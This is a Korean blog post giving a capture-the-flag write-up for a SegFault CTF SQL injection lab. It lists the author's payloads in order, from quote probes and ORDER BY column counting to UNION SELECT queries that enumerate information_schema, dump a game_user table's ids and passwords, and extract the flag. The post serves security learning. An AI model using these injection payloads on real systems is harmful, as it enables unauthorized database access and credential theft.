상세 컨텐츠

본문 제목

Segfault CTF - (6주 차) SQL Injection 2

IT(Information Technology)/보안 - CTF문제

by 디멘터 2024. 5. 27. 13:54

본문

※ 주의 : 보안 관련 학습은 자유이지만, 학습 내용을 사용한 경우 법적 책임은 행위자에게 있습니다.
(Note: Security-related learning is allowed, but the individual is solely responsible for any legal consequences arising from the use of the acquired knowledge.)

※ CTF - Capture The Flag

※ 문제 푸는 방법이 다양할 수도 있습니다.


SegFault CTF - SQL Injection 1

 

1. 목표 : 진짜! 데이터를 찾아랏!

 

2. Burp Suite 확인

 

SQL Injection 1과 마찬가지로 별다른 특이점은 없었다.

 

3. 검색창 확인 및 SQL i 체크

 

처음에는 # 주석이 안 먹히는 줄 알고 당황했으나, nomaltic'# 가 결과가 나오는 것 을 보고 SQL injection이 가능 함을 인지

 

4. 데이터 찾기

아래는 진행 과정

 

normaltic 됨 -> my name is normaltic
normaltic' 안 됨 (SQL 문법 에러)
normaltic'' -> 출력은 되지만 info 값이 없음
normaltic'# 됨 -> my name is normaltic
normaltic'' 됨 -> 출력은 되지만 info 값이 없음
normaltic''' 안 됨 (SQL 문법 에러)
normaltic'''' 됨 -> 출력은 되지만 info 값이 없음
normaltic''''' 안 됨 (SQL 문법 에러)
normaltic'''''' 됨 -> 출력은 되지만 info 값이 없음
normaltic' '' '' ' 됨 -> my name is normaltic
normaltic' '' '' # 됨 -> my name is normaltic

☞ SQL injection 가능

 

normaltic' or '1'='1 됨 -> my name is normaltic 
normaltic' or '1'='1'# 됨 -> my name is normaltic
normaltic' or true # 됨 -> my name is normaltic
normaltic' or true; # 됨 -> my name is normaltic

☞ 세미콜론이 되는 것 보니 개행은 아닌 듯

 

normaltic' order by 6 # 됨 -> my name is normaltic
normaltic' order by 7 # 안 됨 (SQL 문법 에러)
☞  컬럼 개수는 6개인데, 출력은 4개만 되는 것 같음.(하지만, 1개만 보여주는 것이었다)

 

normaltic' and id like'%'# 됨 -> my name is normaltic
normaltic' or id like'%'# -> my name is normaltic
1' or id like '%'# 됨 -> my name is normaltic
1' or id like '______'# 됨 -> Music is my life
1' or id like '_________'# 됨 -> my name is normaltic

' UNION select 1,2,3,4,5# 안 됨 (SQL 문법 에러)
' UNION select 1,2,3,4,5,6# 됨 -> 출력은 6만 됨.
' UNION select 1,2,3,4,5,6,7# 안 됨 (SQL 문법 에러)
' UNION SELECT 1,2,3,4,5,6 UNION SELECT 7,8,9,10,11,12 # 됨 -> 출력은 6만 됨.


☞  결과 값에 LIMIT를 걸어서 1개만 출력시키는 듯

' UNION SELECT 1,2,3,4,5,database();# -> 현 DB명 sqli_5


' UNION SELECT 1,2,3,4,5,table_name FROM information_schema.tables WHERE table_schema='sqli_5' limit 1 offset 0;# -> flag_honey
' UNION SELECT 1,2,3,4,5,table_name FROM information_schema.tables WHERE table_schema='sqli_5' limit 1 offset 1;# -> game_user
' UNION SELECT 1,2,3,4,5,table_name FROM information_schema.tables WHERE table_schema='sqli_5' limit 1 offset 2;# -> secret
' UNION SELECT 1,2,3,4,5,table_name FROM information_schema.tables WHERE table_schema='sqli_5' limit 1 offset 3;# -> 안 됨
☞ 테이블 3개  flag_honey, game_user, secret

' UNION SELECT 1,2,3,4,5,COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = 'sqli_5' AND TABLE_NAME = 'flag_honey' limit 1 offset 0; # -> flag
' UNION SELECT 1,2,3,4,5,COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = 'sqli_5' AND TABLE_NAME = 'flag_honey' limit 1 offset 1; # 값 없음
☞ flag_honey 테이블의 컬럼 1개 flag


' UNION SELECT 1,2,3,4,5,COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = 'sqli_5' AND TABLE_NAME = 'game_user' limit 1 offset 0; # -> idx
' UNION SELECT 1,2,3,4,5,COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = 'sqli_5' AND TABLE_NAME = 'game_user' limit 1 offset 1; # -> id
' UNION SELECT 1,2,3,4,5,COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = 'sqli_5' AND TABLE_NAME = 'game_user' limit 1 offset 2; # -> pass
' UNION SELECT 1,2,3,4,5,COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = 'sqli_5' AND TABLE_NAME = 'game_user' limit 1 offset 3; # -> level
' UNION SELECT 1,2,3,4,5,COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = 'sqli_5' AND TABLE_NAME = 'game_user' limit 1 offset 4; # -> rank_point
' UNION SELECT 1,2,3,4,5,COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = 'sqli_5' AND TABLE_NAME = 'game_user' limit 1 offset 5; # -> info
' UNION SELECT 1,2,3,4,5,COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = 'sqli_5' AND TABLE_NAME = 'game_user' limit 1 offset 6; # -> 값 없음
☞ game_user 테이블의 컬럼 6개 idx, id, pass, level, rank_point, info


' UNION SELECT 1,2,3,4,5,COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = 'sqli_5' AND TABLE_NAME = 'secret' limit 1 offset 0; # -> flag
' UNION SELECT 1,2,3,4,5,COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = 'sqli_5' AND TABLE_NAME = 'secret' limit 1 offset 1; # -> 값 없음
☞ secret 테이블의 컬럼 1개 flag

' UNION SELECT 1,2,3,4,5,flag FROM flag_honey limit 1 offset 0 # -> kkkkkkk_Not Here!
' UNION SELECT 1,2,3,4,5,flag FROM flag_honey limit 1 offset 1 # -> 값 없음
☞ flag_honey 테이블의 flag 컬럼의 값 1개 kkkkkkk_Not Here!


' UNION SELECT 1,2,3,4,5,idx FROM game_user limit 1 offset 0 # ->1
' UNION SELECT 1,2,3,4,5,idx FROM game_user limit 1 offset 1 # ->2
☞ game_user 테이블의 idx 컬럼의 값 2개 1, 2


' UNION SELECT 1,2,3,4,5,id FROM game_user limit 1 offset 0 # ->normaltic
' UNION SELECT 1,2,3,4,5,id FROM game_user limit 1 offset 1 # ->doldol
☞ game_user 테이블의 id 컬럼의 값 2개 normaltic, doldol


' UNION SELECT 1,2,3,4,5,pass FROM game_user limit 1 offset 0 # ->8383
' UNION SELECT 1,2,3,4,5,pass FROM game_user limit 1 offset 1 # ->jjfijeii

☞ game_user 테이블의 pass 컬럼의 값 2개 8383, jjfijeii
(이하 일부 생략)

' UNION SELECT 1,2,3,4,5,flag FROM secret limit 1 offset 0 # -> NONONO~~~~
' UNION SELECT 1,2,3,4,5,flag FROM secret limit 1 offset 1 # -> segfault{U******} // 플래그
' UNION SELECT 1,2,3,4,5,flag FROM secret limit 1 offset 2 # -> 값 없음

☞ secret 테이블의 flag 컬럼의 값 2개 NONONO~~~~, segfault{U******}

 

5. 정리

→ 이 문제는 SQL Injection 1 [바로가기]과 유사하지만,

DB에는 컬럼 6개가 존재하지만, 출력은 4개 컬럼을 보여주는 척하면서, 단 하나만 보여주는 문제였다.

관련글 더보기